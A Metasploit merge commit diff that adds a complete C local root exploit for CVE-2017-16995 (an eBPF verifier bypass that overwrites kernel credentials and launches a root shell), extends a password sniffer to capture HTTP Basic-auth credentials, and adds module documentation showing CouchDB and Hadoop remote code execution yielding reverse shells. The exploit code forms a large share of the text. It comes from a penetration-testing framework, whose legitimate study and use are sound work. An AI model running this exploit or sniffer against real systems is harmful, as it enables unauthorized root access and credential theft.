Merge branch 'master' into remote_creds_data

GSoC/Meterpreter_Web_Console
James Barnett 2018-07-19 16:25:06 -05:00
commit 65d42380d3
No known key found for this signature in database
GPG Key ID: 647983861A4EC5EA
241 changed files with 12082 additions and 8613 deletions

View File

@ -65,9 +65,11 @@ PATH
sinatra
sqlite3
sshkey
sysrandom
thin
tzinfo
tzinfo-data
warden
windows_error
xdr
xmlrpc
@ -118,7 +120,8 @@ GEM
crass (1.0.4)
daemons (1.2.6)
diff-lcs (1.3)
dnsruby (1.60.2)
dnsruby (1.61.1)
addressable (~> 2.5)
docile (1.3.1)
erubis (2.7.0)
eventmachine (1.2.7)
@ -127,7 +130,7 @@ GEM
factory_bot_rails (4.10.0)
factory_bot (~> 4.10.0)
railties (>= 3.0.0)
faker (1.8.7)
faker (1.9.1)
i18n (>= 0.7)
faraday (0.15.2)
multipart-post (>= 1.2, < 3)
@ -325,6 +328,7 @@ GEM
sqlite3 (1.3.13)
sshkey (1.9.0)
swagger-blocks (2.0.2)
sysrandom (1.0.5)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
@ -338,6 +342,8 @@ GEM
thread_safe (~> 0.1)
tzinfo-data (1.2018.5)
tzinfo (>= 1.0.0)
warden (1.2.7)
rack (>= 1.0)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)

View File

@ -0,0 +1,496 @@
/*
Credit @bleidl, this is a slight modification to his original POC
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
For details on how the exploit works, please visit
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Tested on Ubuntu 16.04 with the following Kernels
4.4.0-31-generic
4.4.0-62-generic
4.4.0-81-generic
4.4.0-116-generic
4.8.0-58-generic
4.10.0.42-generic
4.13.0-21-generic
Tested on Fedora 27
4.13.9-300
gcc cve-2017-16995.c -o cve-2017-16995
internet@client:~/cve-2017-16995$ ./cve-2017-16995
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880038c3f500
[*] Leaking sock struct from ffff88003af5e180
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880038704600
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff880038704600
[*] credentials patched, launching shell...
#id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
*/
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;
#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];
static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}
int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#define BPF_DISABLE_VERIFIER() \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
BPF_EXIT_INSN() /* } */ \
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
BPF_EXIT_INSN(), /* exit(0); */ \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
static int load_prog() {
struct bpf_insn prog[] = {
BPF_DISABLE_VERIFIER(),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
/* store map slot address in r2 */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
/* get fp */
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
/* get skbuff */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
/* read */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
/* else */
/* write */
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}
void info(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[.] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void msg(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void redact(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
if(doredact) {
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
return;
}
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void fail(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
void
initialize() {
info("\n");
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
info("\n");
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
info("\n");
redact("creating bpf map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if (mapfd < 0) {
fail("failed to create bpf map: '%s'\n", strerror(errno));
}
redact("sneaking evil bpf past the verifier\n");
progfd = load_prog();
if (progfd < 0) {
if (errno == EACCES) {
msg("log:\n%s", bpf_log_buf);
}
fail("failed to load prog '%s'\n", strerror(errno));
}
redact("creating socketpair()\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
fail("failed to create socket pair '%s'\n", strerror(errno));
}
redact("attaching bpf backdoor to socket\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
fail("setsockopt '%s'\n", strerror(errno));
}
}
static void writemsg() {
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer)) {
fprintf(stderr, "short write: %zd\n", n);
}
}
static void
update_elem(int key, unsigned long value) {
if (bpf_update_elem(mapfd, &key, &value, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}
static unsigned long
get_value(int key) {
unsigned long value;
if (bpf_lookup_elem(mapfd, &key, &value)) {
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return value;
}
static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
update_elem(0, op);
update_elem(1, addr);
update_elem(2, value);
writemsg();
return get_value(2);
}
unsigned long
get_skbuff() {
return sendcmd(1, 0, 0);
}
unsigned long
get_fp() {
return sendcmd(0, 0, 0);
}
unsigned long
read64(unsigned long addr) {
return sendcmd(2, addr, 0);
}
void
write64(unsigned long addr, unsigned long val) {
(void)sendcmd(3, addr, val);
}
static unsigned long find_cred() {
uid_t uid = getuid();
unsigned long skbuff = get_skbuff();
/*
* struct sk_buff {
* [...24 byte offset...]
* struct sock *sk;
* };
*
*/
unsigned long sock_addr = read64(skbuff + 24);
msg("skbuff => %llx\n", skbuff);
msg("Leaking sock struct from %llx\n", sock_addr);
if(sock_addr < PHYS_OFFSET){
fail("Failed to find Sock address from sk_buff.\n");
}
/*
* scan forward for expected sk_rcvtimeo value.
*
* struct sock {
* [...]
* const struct cred *sk_peer_cred;
* long sk_rcvtimeo;
* };
*/
for (int i = 0; i < 100; i++, sock_addr += 8) {
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
unsigned long cred_struct = read64(sock_addr - 8);
if(cred_struct < PHYS_OFFSET) {
continue;
}
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
if(test_uid != uid) {
continue;
}
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
msg("Cred structure at %llx\n", cred_struct);
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
return cred_struct;
}
}
fail("failed to find sk_rcvtimeo.\n");
}
static void
hammer_cred(unsigned long addr) {
msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
w64(val);
w64(0); w64(0); w64(0); w64(0);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
w64(0xFFFFFFFFFFFFFFFF);
#undef w64
}
int
main(int argc, char **argv) {
initialize();
hammer_cred(find_cred());
msg("credentials patched, launching shell...\n");
if(execl("/bin/sh", "/bin/sh", NULL)) {
fail("exec %s\n", strerror(errno));
}
}

Binary file not shown.

Binary file not shown.

View File

@ -1,22 +1,24 @@
# Psnuffle password sniffer add-on class for HTTP GET URL's
# Psnuffle password sniffer add-on class for HTTP URLs
# part of psnuffle sniffer auxiliary module
#
# Very simple example how to write sniffer extensions
#
# Sniffer class for GET URL's
#
# Sniffer class for GET/POST URLs.
# Also extracts HTTP Basic authentication credentials.
#
class SnifferURL < BaseProtocolParser
def register_sigs
self.sigs = {
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
:webhost => /^HOST\:\s+([^\n\r]+)/i,
:get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i,
:post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i,
:webhost => /^HOST:\s+([^\n\r]+)/i,
:basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i,
}
end
def parse(pkt)
# We want to return immediantly if we do not have a packet which is handled by us
# We want to return immediately if we do not have a packet which is handled by us
return unless pkt.is_tcp?
return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80)
return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80)
s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt))
self.sigs.each_key do |k|
@ -34,10 +36,16 @@ class SnifferURL < BaseProtocolParser
case matched
when :webhost
sessions[s[:session]].merge!({k => matches})
if(s[:get])
if s[:get]
print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}")
sessions.delete(s[:session])
return
end
if s[:post]
print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}")
end
if s[:basic_auth]
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
report_auth_info s
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
end
when nil
# No matches, no saved state
@ -45,4 +53,3 @@ class SnifferURL < BaseProtocolParser
end # end of each_key
end # end of parse
end # end of URL sniffer

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,28 @@
## Intro
This module scans for Docker servers listening on a TCP port (default 2375).
## Options
**VERBOSE**
Enable this to dump all info to the screen.
## Usage
```
msf5 > use auxiliary/scanner/http/docker_version
msf5 auxiliary(scanner/http/docker_version) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(scanner/http/docker_version) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/docker_version) > run
[*] Identifying Docker Server Version on 127.0.0.1:2375
[+] [Docker Server] Version: 18.03.1-ce
[*] All info: {"Platform"=>{"Name"=>""}, "Components"=>[{"Name"=>"Engine", "Version"=>"18.03.1-ce", "Details"=>{"ApiVersion"=>"1.37", "Arch"=>"amd64", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "KernelVersion"=>"[redacted]", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}], "Version"=>"18.03.1-ce", "ApiVersion"=>"1.37", "MinAPIVersion"=>"1.12", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"[redacted]", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00"}
[*] Saving host information.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/docker_version) >
```

View File

@ -0,0 +1,59 @@
## Description
This module identifies the version of IMAP in use by the server, as well as some of the login options.
Any IMAP sever should return this information.
## Vulnerable Application
### Install Dovecot on Kali Linux:
With this install, we'll only install IMAP for dovecot, as the other protocols are not required. However, this is unrealistic
in a production environment.
1. ```sudo apt-get install dovecot-imapd```
2. ```/etc/init.d/dovecot start```
## Verification Steps
1. Do: `use auxiliary/scanner/imap/imap_version`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Options
**IMAPPASS**
A password for an IMAP account.
**IMAPUSER**
A username for an IMAP account.
## Scenarios
### Dovecot 2.3.2 (582970113) on Kali
```
msf5 > use auxiliary/scanner/imap/imap_version
msf5 auxiliary(scanner/imap/imap_version) > set rhosts 10.168.202.216
rhosts => 10.168.202.216
msf5 auxiliary(scanner/imap/imap_version) > run
[+] 10.168.202.216:143 - 10.168.202.216:143 IMAP * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ STARTTLS AUTH=PLAIN] Dovecot (Debian) ready.\x0d\x0a
[*] 10.168.202.216:143 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming
### [nmap](https://nmap.org/nsedoc/scripts/imap-capabilities.html)
```
# nmap -p 143 -sV -script=imap-capabilities 10.168.202.216
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-11 18:43 EDT
Nmap scan report for 10.168.202.216
Host is up (0.000044s latency).
PORT STATE SERVICE VERSION
143/tcp open imap Dovecot imapd
|_imap-capabilities: LITERAL+ more AUTH=PLAINA0001 IDLE have LOGIN-REFERRALS ENABLE OK Pre-login listed capabilities post-login ID STARTTLS IMAP4rev1 SASL-IR
```

View File

@ -0,0 +1,34 @@
## Description
This module identifies the version of POP3 in use by the server based on the server's banner.
Any POP3 sever should return this information.
## Vulnerable Application
### Install Dovecot on Kali Linux:
With this install, we'll only install POP3 for dovecot, as the other protocols are not required. However, this is unrealistic
in a production environment.
1. ```sudo apt-get install dovecot-pop3d```
2. ```/etc/init.d/dovecot start```
## Verification Steps
1. Do: `use auxiliary/scanner/pop3/pop3_version`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Scenarios
### Dovecot 2.3.2 (582970113) on Kali
```
msf5 auxiliary(scanner/pop3/pop3_version) > use auxiliary/scanner/pop3/pop3_version
msf5 auxiliary(scanner/pop3/pop3_version) > set rhosts 10.168.202.216
msf5 auxiliary(scanner/pop3/pop3_version) > run
[+] 10.168.202.216:110 - 10.168.202.216:110 POP3 +OK Dovecot (Debian) ready.\x0d\x0a
[*] 10.168.202.216:110 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,118 @@
## Description
An rsync module is essentially a directory share. These modules can optionally be protected by a password. This module connects to and
negotiates with an rsync server, lists the available modules and, optionally, determines if the module requires a password to access.
## Vulnerable Application
### Configuring rsync on Kali Linux:
Rsync is installed by default on Kali, however we need to configure some modules for the scanner to find. Step three will
create the secrets files which we'll use to test the authentication mechanism. Much of this is based on the guide from
[atlantic.net](https://www.atlantic.net/cloud-hosting/how-to-setup-rsync-daemon-linux-server/).
1. ```mkdir /home/public_rsync2; mkdir /home/public_rsync3; mkdir /home/public_rsync```
2. Create the configuration file:
```
echo -n "[read only files]
path = /home/public_rsync
comment = Files are read only
read only = true
timeout = 300
[writable]
path = /home/public_rsync2
comment = Files can be written to
read only = false
timeout = 300
[authenticated]
path = /home/public_rsync3
comment = Files require authentication
read only = true
timeout = 300
auth users = rsync1,rsync2
secrets file = /etc/rsyncd.secrets
" > /etc/rsyncd.conf
```
3. ```echo -n "rsync1:9$AZv2%5D29S740k
rsync2:Xyb#vbfUQR0og0$6
rsync3:VU&A1We5DEa8M6^8" > /etc/rsyncd.secrets```
4. ```chmod 600 /etc/rsyncd.secrets```
5. ```rsync --daemon```
## Verification Steps
1. Do: `use auxiliary/scanner/rsync/modules_list`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Options
**TEST_AUTHENTICATION**
Connect to each share and test if authentication is required.
**VERBOSE**
When set to `false`, each module will be listed. When set to `true` each module will be listed, then a summary
table will also be printed including if authentication is required, and any module comments. `false` is the default value.
## Scenarios
### rsyncd on Kali (using above config)
With verbose set to `false`:
```
msf5 > use auxiliary/scanner/rsync/modules_list
msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216
rhosts => 10.168.202.216
msf5 auxiliary(scanner/rsync/modules_list) > run
[+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated
```
With verbose set to `true`:
```
msf5 > use auxiliary/scanner/rsync/modules_list
msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216
rhosts => 10.168.202.216
msf5 auxiliary(scanner/rsync/modules_list) > set verbose true
verbose => true
msf5 auxiliary(scanner/rsync/modules_list) > run
[+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated
rsync modules for 10.168.202.216:873
=======================================
Name Comment Authentication
---- ------- --------------
authenticated Files require authentication required
read only files Files are read only not required
writable Files can be written to not required
```
## Confirming
### [nmap](https://nmap.org/nsedoc/scripts/rsync-list-modules.html)
```
# nmap -p 873 -sV -script=rsync-list-modules 10.168.202.216
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-12 16:32 EDT
Nmap scan report for 10.168.202.216
Host is up (0.000045s latency).
PORT STATE SERVICE VERSION
873/tcp open rsync (protocol version 31)
| rsync-list-modules:
| read only files Files are read only
| writable Files can be written to
|_ authenticated Files require authentication
```

View File

@ -0,0 +1,35 @@
## Description
This module grabs the banner from an SMTP server.
## Vulnerable Application
### Postfix on Kali Linux:
This is mainly based on the instructions from [digitalocean.com](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-postfix-on-ubuntu-16-04).
In this case, we don't need to configure all the users and set up the server fully, just enough to display a banner.
1. ```apt-get install postfix```
1. Select `Internet Site`
2. Select OK, the default is fine
2. ```systemctl restart postfix```
## Verification Steps
1. Do: `use auxiliary/scanner/smtp/smtp_version`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Scenarios
### Postfix 3.3.0-1+b1 (Ubuntu package number) on Kali (using above config)
```
msf5 > use auxiliary/scanner/smtp/smtp_version
msf5 auxiliary(scanner/smtp/smtp_version) > set rhosts 10.168.202.216
rhosts => 10.168.202.216
msf5 auxiliary(scanner/smtp/smtp_version) > run
[+] 10.168.202.216:25 - 10.168.202.216:25 SMTP 220 rageKali.ragegroup ESMTP Postfix (Debian/GNU)\x0d\x0a
```

View File

@ -0,0 +1,111 @@
## Description
CouchDB administrative users can configure the database server via HTTP(S).Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,including downloading and executing scripts from the public internet.
## Vulnerable Application
**Vulnerable Application Link**
- docker
Couchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
Couchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636
## Vulnerable Application Installation Setup.
Change dictory to CVE-2017-1263X, and run `docker-compose up -d`
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb```
4. Do: ``check``
``[*] 192.168.77.139:5984 The target appears to be vulnerable.``
5. Do: ``set srvhost <ip>``
6. Do: ``set srvport <port>``
7. Do: ``set lhost <ip>``
8. Do: ``set lport <port>``
9. Do: ``exploit``
10. You should get a shell.
## Options
- URIPATH
``URIPATH`` by default is random, you can change it if you want.
- HttpUsername, HttpPassword
Sometimes it requires authentication, set these options to authorize.
## Scenarios
TESTED AGAINST LINUX
```
msf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > show options
Module options (exploit/linux/http/apache_couchdb_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password to login with
HttpUsername no The username to login as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 5984 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit to download and execute. (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139
rhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > check
[*] 192.168.77.139:5984 The target appears to be vulnerable.
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139
srvhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888
srvport => 8888
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139
lhost => 192.168.77.139
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.77.139:4444
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2
[*] 192.168.77.139:5984 - The 1 time to exploit
[*] 192.168.77.139:5984 - Sending the payload to the server...
[*] Command shell session 1 opened (192.168.77.139:4444 -> 172.18.0.2:58348) at 2018-03-27 06:18:21 -0400
[*] Server stopped.
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1
[*] Starting interaction with 1...
id
uid=1000(couchdb) gid=999(couchdb) groups=999(couchdb)
```

View File

@ -0,0 +1,112 @@
## Description
This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API.
## Vulnerable Application
**Vulnerable Application Link**
- docker
https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
## Vulnerable Application Installation Setup.
Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up -d`
## Verification Steps
Example steps in this format (is also in the PR):
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/linux/http/hadoop_unauth_exec```
4. Do: ``set rhost x.x.x.x``
5. Do: ``set rport 8088``
6. Do: ``check``
``[+] 192.168.77.141:8088 The target is vulnerable.``
7. Do: `set payload linux/x86/meterpreter/reverse_tcp`
8. Do: ``exploit``
9. You should get a shell.
## Scenarios
```
msf5 > use exploit/linux/http/hadoop_unauth_exec
msf5 exploit(linux/http/hadoop_unauth_exec) > show options
Module options (exploit/linux/http/hadoop_unauth_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 8088 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
